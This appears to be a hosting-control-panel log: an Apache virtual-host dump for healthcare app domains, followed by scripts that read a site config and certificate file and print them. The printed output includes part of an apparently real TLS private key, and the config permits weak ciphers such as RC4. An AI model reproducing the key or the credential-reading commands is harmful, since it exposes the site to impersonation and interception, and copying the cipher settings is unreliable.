         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 10:40:26: 

PUT: /tmp/pkp423239

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:40:26: 

chmod 755 /tmp/pkp423239; /tmp/pkp423239; rm /tmp/pkp423239

2026-05-24 10:40:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1742

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com
    #shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com
    #shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1742

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com
    #shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com
    #shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2026-05-24 10:40:26: 

PUT: /tmp/pkp549455

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:40:26: 

chmod 755 /tmp/pkp549455; /tmp/pkp549455; rm /tmp/pkp549455

2026-05-24 10:40:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt	5401
bc:b4:8b:f0:3a:6b:4f:43:b1:3a:5d:c2:13:ab:d5:80

-----BEGIN CERTIFICATE-----
MIIFIDCCBAigAwIBAgISBoeXNA1qMitQlO8WcFvdQrHhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDk0MTU0WhcNMjYwODIyMDk0MTUzWjAjMSEwHwYDVQQD
ExhzdG9yZS5wYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCqSr2INVVPIz7nYPylhncRuUngng5inYjMb3wW1W4k2/3/L1Jb
Lu1W2VaSXRFNCWgYxeiIYpH11dvYUPTULnVk6kkjuxc9KnkBvQra6dEqGgBV6jdq
maA64mjmuPje0y+eFgIfuwPWlOtbkgotCNc0l+0b0drmzewhHJopu7PhzF9nmWPp
jHlqXrFdmNLR4/l0p6va2fZMyOeXce271MMx+F1ZUxzku9GZkBGFs+Ae+ch7Uc5x
OqASDOBxRRdzo+iYwAiMKi55Ze9EbdRH3UiEOJAcpGKHfsW8LRuB1H+27aPsOfFY
Rt6bskMT1XdQrE4Uf7p+wzdLiogb1Wd8CyLbAgMBAAGjggI8MIICODAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUyWIOPNMcL78cIWpFRk9HxZPAP7UwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzA6BgNVHREEMzAxghVzdG9yZS5wYXRpZW50YXBwcy5j
b22CGHN0b3JlLnBhdGllbnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAEC
ATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzk4LmNy
bDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB9AEavhj07PuWfpXfeqCRdNrDZ7SKi
I/Rhd0EilFLulVBfAAABnlmSXWIACAAABQAHfwSOBAMARjBEAiA7WkAISRDRjr0D
nwDVi486Dm0cRfhQpdDTTd/4Tw0t0gIgcFHo7FG6YzjIIMaD8ZOC3zXUbUPNt8dH
ZaPQMrSaCUMAdgCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ5Z
kl2wAAAEAwBHMEUCIQD/hx7eltBXohjanjsGuY78BK6Z5VXfCeeqirOUyXAqrwIg
S7YDwv3F6/DfsWgSDChm837aPME62YtEDs5URnGguvAwDQYJKoZIhvcNAQELBQAD
ggEBAEpm7NJyfRi5Omy9I3k9NN0tGrl1Qw8NOQpQfLFPvPATntYX5eGhUbAwsZRf
1tjaGYGH6jEToqQ0lDefZBlSopsUGD3Ouy6xUvLHLVmz9Yf6HQUz1tuPXbvAeNp6
bX5DsrIYBwf+1BXIqKuFb5FI7LaaYl6itd09ynt7Ea8ctcupx1wI+I/R/Ixwglza
esctwBqLAjFm1+bmrBXlQGqzeZc5Slzf+AFXSsjpLLLujX8Vvigp97VYUECb15Yf
dQ0Go3E3cNXts/ZSxHY36MDQSSpr90tYBZpmRbEtSujdABi/QQNsCIbNxz9JM2wZ
rUXodLn1pZn4O2/Ce8zUNVu9TRY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqSr2INVVPIz7n
YPylhncRuUngng5inYjMb3wW1W4k2/3/L1JbLu1W2VaSXRFNCWgYxeiIYpH11dvY
UPTULnVk6kkjuxc9KnkBvQra6dEqGgBV6jdqmaA64mjmuPje0y+eFgIfuwPWlOtb
kgotCNc0l+0b0drmzewhHJopu7PhzF9nmWPpjHlqXrFdmNLR4/l0p6va2fZMyOeX
ce271MMx+F1ZUxzku9GZkBGFs+Ae+ch7Uc5xOqASDOBxRRdzo+iYwAiMKi55Ze9E
bdRH3UiEOJAcpGKHfsW8LRuB1H+27aPsOfFYRt6bskMT1XdQrE4Uf7p+wzdLiogb
1Wd8CyLbAgMBAAECggEAB66kezsQtKe95DlDXIJC59lIhGoM8xTxQWu8GNmbBO2p
uTPczsFAsrzOQ38QUz3b5NY0xcZQmFsD9m+8g7/uytUo5IRBqaA7YkExdqu6pGAU
6MtOoa/5gv6IxfPNQlwbl1Gd2emZZDpGndRqQhrWfohmCW2/ps7eWqYMLFrL5CE9
t3AgaTRjOptGAmfbK+NLouYoSjJAogaKI6fMo40JrGwDdTXtvD7WB7hJsJJPYDwM
uCPnep8d3N3qTh61yzTWFo/tGw2pDIYdzAn7pipRikHfr3aRmZgfmHrWmZfeHuX4
2HdBoTaeMjM6qTNGY3zWU8oxrTQAGdiQCJba1lWBuQKBgQDk8u5RmAHvdSw8LnId
UkfKHaYHfQ41x/iOXJ0ap00AZ3but4VOsp5QL1XLQ5z0UBdOUlCm9RGkn2kDouYt
+C440xjsKb2e8Ne+df0Z71/wumxALOtDADY3NYRWZBDW83J9NpG4F4egk5kjC74t
PgVtNCmOa2XlLF+LcrqfCMarOQKBgQC+aZk0O5CmL7ALfKjulSxwnGzds227Nnqy
qMLgCccq9gAUK6nKBkB2rE+KMwXpNOSPL1CW1gfzLhS3Wnhga1fJtthHYKtUKSnZ
gukdC0xnBXcdH3Rz5StySgJtBJzve9IbzgXnjxapX9GzirdBLL0l1VaFfNCAPl55
dxv1VIq6swKBgCOz7o4y0jpxX1CTPaBs8F0Iepe4XLruUEiDEMzTQiLJ/7YCUHuR
Rzbh6tMj3BoNU1UXaRRgKzwsz8eNY6/PgAXEhaJub++VR0+gPrQIrEFyEOeBGb79
DXdWlSiTujyLAlOcauT2ZmQYIE1iy2lqvpXlCIX5IY63eL7aSVf7ml+hAoGAaAvF
